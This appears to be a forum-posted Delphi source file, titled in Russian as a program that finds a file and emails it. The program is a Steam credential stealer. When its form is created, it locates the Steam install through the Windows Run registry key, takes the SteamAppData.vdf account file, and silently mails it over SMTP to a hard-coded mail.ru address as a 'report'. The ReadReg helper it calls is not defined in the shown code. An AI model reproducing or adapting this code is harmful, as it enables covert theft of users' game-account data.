Программа поиска файла и отправка на почту

unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze, IdMessage,
  IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP;
 
type
  TForm1 = class(TForm)
    IdAntiFreeze1: TIdAntiFreeze;
    IdSMTP1: TIdSMTP;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  m:TidMessage;
  sm:Tidsmtp;
  att:TIdAttachment;
 
implementation
 
{$R *.dfm}
 
procedure send(pathSteam, login, pass, kuda:string);
    begin    m:=TIdMessage.create(form1);
    m.From.Text:=login;
    m.Recipients.Add;
    m.Recipients.Items[0].Text:='mail@mail.ru';
    m.Subject:='report';
    m.Body.Text:='new_report';
    sm:=tidsmtp.Create(form1);
    sm.AuthenticationType := atLogin;
    sm.Host:='smtp.mail.ru';
 
    att:=TIdAttachment.Create(m.MessageParts,pathSteam);
    sm.Username:='mail@mail.ru';
    sm.Password:='pass';
    sm.Connect();
 
    if sm.Connected then
     begin    sm.Send(M);
         end;
     sm.Disconnect;
     att.Free;
     sm.Free;
     end;
 
function Pars(TextIn, Text, TextOut: string): string;
var
TempStr: string;
begin
Result := '';
TempStr := Text;
TempStr := Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
Result := TempStr;
end;
 
procedure TForm1.FormCreate(Sender: TObject);
var
regpath, path:string;
begin
regpath:=ReadReg(HKEY_CURRENT_USER,'Steam','\Software\Microsoft\Windows\CurrentVersion\Run');
path:=Pars('"',regpath, '"');
path:=ExtractFilePath(path)+'config\SteamAppData.vdf';
send(path, 'mail@mail.ru', 'pass', 'mail@mail.ru');
end;
 
end.

regpath:=ReadReg(HKEY_CURRENT_USER,'Steam','\Software\Microsoft\Windows\CurrentVersion\Run');